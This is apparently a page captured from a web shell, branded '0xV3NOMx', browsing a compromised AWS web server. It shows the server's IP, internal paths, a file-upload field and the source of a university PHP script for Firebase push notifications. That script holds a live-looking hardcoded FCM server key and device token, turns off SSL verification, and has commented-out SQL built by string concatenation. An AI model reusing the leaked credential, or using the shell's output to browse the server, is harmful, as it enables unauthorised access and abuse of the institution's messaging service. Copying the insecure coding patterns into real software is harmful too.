0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.14.247.170


Current Path : /proc/thread-self/root/var/www/html/univadmin_bkp/univadmin/src/
Upload File :
Current File : //proc/thread-self/root/var/www/html/univadmin_bkp/univadmin/src/appNotification.php

<?php

//require_once('../DbConnect.php');
ini_set('display_errors', 'on');
include("../sendnotif.php");
ini_set('memory_limit','900M');
ini_set('max_execution_time',1800);

//$fmobileno = $_GET['fmobileno'];

// $query = "SELECT fid, fmobappid, ftitle,fmobileno, fbody FROM pushnotif 
// where ifnull(fmobileno,'') <> ''  and fenttype in('RE') and funivcode = '023'
// and ifnull(fstatus,'') <> 'T'";

// $result = mysqli_query($conn, $query);
// $count = mysqli_num_rows($result);

// if ($count > 0) {
//     $i = 0;
//     while ($row = mysqli_fetch_assoc($result)) {
//         // $to = $row['mobileno'];
//         // $text = $row['fmessage'];
//        $fmobileno = $row['fmobileno'];
//         $registrationIds = array($row['fmobappid']);
//         // var_dump($registrationIds);
//         $msg = array(
//             'title'    => $row['ftitle'],
//             'body'     => $row['fbody'],
//             'icon'    => 'ic_launcher'
//         );

//        $notifresp = sendNotification($registrationIds, $msg);
//         echo $notifresp;
//         echo $fmobileno;
//         $rgTrimedMobs[$i] = $fmobileno;
        
//         if($i == 50)
//         {
//             $srtImplodedMobs = implode("','",$rgTrimedMobs); 
//             $strUpdateQuery = "update pushnotif set fstatus = 'T' where  fmobileno in ('{$srtImplodedMobs}')";
//            // var_dump($strUpdateQuery);	   
//             $result2 = mysqli_query($conn,$strUpdateQuery);
            
//             unset($rgInsert);
//             $rgInsert = array();

//             unset($rgTrimedMobs);
//             $rgTrimedMobs = array();
//             $i = 0;
//         }
//         $i++;
//     }

//     $srtImplodedMobs = implode("','",$rgTrimedMobs); 
//     $strUpdateQuery = "update pushnotif set fstatus = 'T' where  fmobileno in ('{$srtImplodedMobs}')";
//     $result2 = mysqli_query($conn,$strUpdateQuery);
//     echo "SMS Sent";
// }



// API access key from Google API's Console
define( 'API_ACCESS_KEY', 'AAAAQ4Ij4ys:APA91bFukm2A78H8Nr72_aMSLuQo77E-bGHve_F3XdXeRgOhVoXUjxhypthhfHOiw6CP9g7ardN_WRRiKZmdiRl_LOLEZvnAxyK5wDhLXfVSa-hCjk4YRLjqUFNJTOn23D8bDqBDHt1u' );

function send($aobj_context)
{
 $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
 $regno = $aobj_context->mobj_data['regno'];


//  $msg = array
//     (
//         'body' 	=> $msg['body'],
//         'title'	=> $msg['title']
//     );

//     $fields = array
//     (
//         'registration_ids' 	=> $regnids,
//         'notification' => $msg
//     );

$title = "New Msg";
$msg = "Hello this is some msg";

$regnids = ['fGMCKY96MJM:APA91bHoasQzVtmDcKHCmje0fvZwgdKwZboql9IhAz4gsifVUYo0miUHu26wA3r9SbxrXBIX9ih7yXX0q5cPipZTyzrWHuykd_foxfJaAggMr4sQUzTHyYm5k0wJEytuf73Cxjzzf91g'];
 $msg = array
    (
        'body' 	=> $msg,
        'title'	=> $title
    );

    $fields = array
    (
        'registration_ids' 	=> $regnids,
        'notification' => $msg
    );
    
    $headers = array
    (
        'Authorization: key=' . API_ACCESS_KEY,
        'Content-Type: application/json'
    );
    
    //var_dump($headers);

    $ch = curl_init();
    curl_setopt( $ch,CURLOPT_URL, 'https://fcm.googleapis.com/fcm/send' );
    curl_setopt( $ch,CURLOPT_POST, true );
    curl_setopt( $ch,CURLOPT_HTTPHEADER, $headers );
    curl_setopt( $ch,CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch,CURLOPT_SSL_VERIFYPEER, false );
    curl_setopt( $ch,CURLOPT_POSTFIELDS, json_encode( $fields ) );
    $result = curl_exec($ch );
    curl_close( $ch );
    echo $result;
 


}